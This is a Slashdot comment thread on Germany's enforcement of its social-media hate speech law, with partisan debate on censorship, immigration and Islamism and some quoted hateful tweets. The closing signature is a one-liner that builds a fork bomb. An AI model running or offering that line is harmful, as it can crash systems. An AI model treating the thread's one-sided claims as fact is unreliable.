Slashdot Mirror
Germany Starts Enforcing Hate Speech Law (bbc.com)
Germany is set to start enforcing a law that demands social media sites move quickly to remove hate speech, fake news and illegal material. From a report: Sites that do not remove "obviously illegal" posts could face fines of up to 50m euro ($60m). The law gives the networks 24 hours to act after they have been told about law-breaking material. Social networks and media sites with more than two million members will fall under the law's provisions. Facebook, Twitter and YouTube will be the law's main focus but it is also likely to be applied to Reddit, Tumblr and Russian social network VK. Other sites such as Vimeo and Flickr could also be caught up in its provisions.
A better question is, Does this forced censorship apply to Slashdot?
The summary says, with added emphasis:
Give that Slashdot is a discussion site and news site, I think it would match the "social network" and "media site" criteria. This brings us to the user count.
There appear to be at least 4 million Slashdot accounts, since there are users like religionofpeas who has a user ID of 4511805. From what I can tell, the Slashdot user ID is sequential, since CmdrTaco has a user ID of 1, and we have long-time Slashdot users like jcr, who has a user ID of 53032.
Now there's always the possibility that some user IDs were skipped at some point, or that one personal has multiple accounts (like is probably the case with the so-called "creimer" family of accounts). But since the user IDs are well into at least the 4.5 million range, it would seem to me like Slashdot is well past the two million user threshold described in the summary.
So again, the question to ask is, Does this forced censorship apply to Slashdot?
Another question to ask is, If Slashdot is obliged to engage in such censorship, how is Slashdot's management going to deal with it? Will they accept it and delete content deemed "bad" by some bureaucrats far off in Europe? Or will they fight it? Or will they just block all German users, as much as is possible? Just what will the Slashdot management do?
Good! I don't want to see another tweet to the sound of
"All I want for Christmas is white genocide."
Or
"Band together to kill all men."
Precisely this, a hundred times over. The current political establishment in DE gets a lot of good press, but mainly because the press loves them regardless of what they do. In reality, the current German government makes Mr. Trump seem sane and connected to reality, if you look closely how well their actions match their rhetoric.
In particular with regard to their stance on immigration, and with regard to Islamic fundamentalism in their own country. Are all Muslim immigrants radicals? No, of course not. But if a minority of immigrant Muslims routinely get away with anti-semitic rhetoric that would land a "native" German in jail, what the hell do they expect the outcome to be?
You can make the same argument about US anti-speech laws. What is harassment? What is incitement? Is it your fault if you shout fire in a theatre and people believe you and get hurt? All open to interpretation and judgement, which is what we have a legal system for.
I'm not a fan of this, I'm just pointing out that all countries have laws that require judicial interpretation, because real life is too complex to enumerate every possibly.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
According to your logic:
- When corporations regulate social media, it becomes a branch of the corporation.
- When nobody regulates social media, it becomes a branch of bots and spammers.
Avantgarde Hebrew science fiction
Or they may ave been waiting until there was sufficient inventory to fight a war, instead of just jumping right in.
Or, you could just listen to the people who explained - at the time - why they didn't want to get involved. Because they explained their thinking for contemporary consumption and for posterity. You're part of posterity, but you're wishing away reality because it's uncomfortable realizing that hindsight is better than politically skewed contemporary processing of information, and you're wishing that the liberal establishment at the time would have been wiser about where Hitler was headed.
Besides, it wasn't too late, we won
Ah, so it doesn't matter how many millions of people die in the process. Gotcha. And you're not worried about (or even aware of?) the fact that much of what we fought against never went away.
I do have to ask, why are we still there?
That you don't understand that demonstrates how ignorant you are of what we were and are up against. Let me guess, you were also one of the people mocking Mitt Romney for mentioning Russia as one of the prominent threats to a peaceful world. Up until Hillary Clinton told you to blame them for her loss, at which point Russians are suddenly the bad guys again. They never stopped being the bad guys, and that's why we're still there. Can't believe you need that explained to you.
I thought when you win a war, you go home back to the farm
And if you haven't won, because totalitarians armed with nukes and huge armies are still standing there looking at you and marching into places like Ukraine, then no, you haven't won. At no point after defeating Nazi Germany, did any rational person consider matters "won." Convenient, fleeting cooperation with the Soviets in defeating a mutual enemy gave way - as it must - to an immediate tension between our vision of a free and democratic world and their vision, of a socialist prison empire looking to take over the world. They, as socialists always do, ran out of other people's money, and slid into more traditional totalitarian thuggery while their older ideological offspring around the world are still limping along, killing people who try to leave their little paradises. We're still in places like Asia and Europe because despite your completely wrong understanding of reality, there are still people that need staring down and others (including ourselves) that need defending from them.
Don't disappoint your bird dog. Go to the range.
> "freedom of speech isn't freedom from consequences"
Correct, but the first amendment actually prevents the US government from restricting speech, without a overwhelming societal interest. Using a political office to directly restrict political speech is clearly a violation of that amendment. Especially when it is just to protect the presidents ego, because the president stepped into a solved concern, that was handled by the league, until the president made it more than 100* worse by stepping in. I see no problem if the team wants to fire a player, and if fans want to boycott the team. That you have the highest office of the government threatening through their designated official communication channel to take official action if harm doesn't happen to those who don't support his view.
Of course it isn't all the right, at least John McCain understands this president is doing permanent harm to the country: https://twitter.com/SenJohnMcC...
In the UK each time there's a terrorist attack the hate speech laws get tightened up to catch 'extremists'. And each time it seems like a lot more people complaining about terrorism get caught than actual terrorists. Or even Islamists. Anjem Choudary was regularly invited on TV to spread his loathsome views and was allowed to recruit people for al Qaeda, ISIS etc up until 2016, even though hate speech laws were supposed to stop him
https://en.wikipedia.org/wiki/...
Meanwhile this hapless bastard got sent to prison, and mysteriously died there for putting a ham sandwich on a mosque. What did he die of? No one seems to care - even though there's supposed to be an inquiry no results of it were ever released.
http://www.dailymail.co.uk/new...
So Crehan got very effectively screwed for committing 'a racially-motivated attack'. Anjem Choudhary blatantly recruited for ISIS from 2002 to 2016, was invited on the BBC to do it and is very unlikely to die mysteriously in prison. British prisons have a load of Islamists, so he'll be a hero in there.
tl;dr - hate speech laws get people who complain about Islamism, not actual Islamists.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;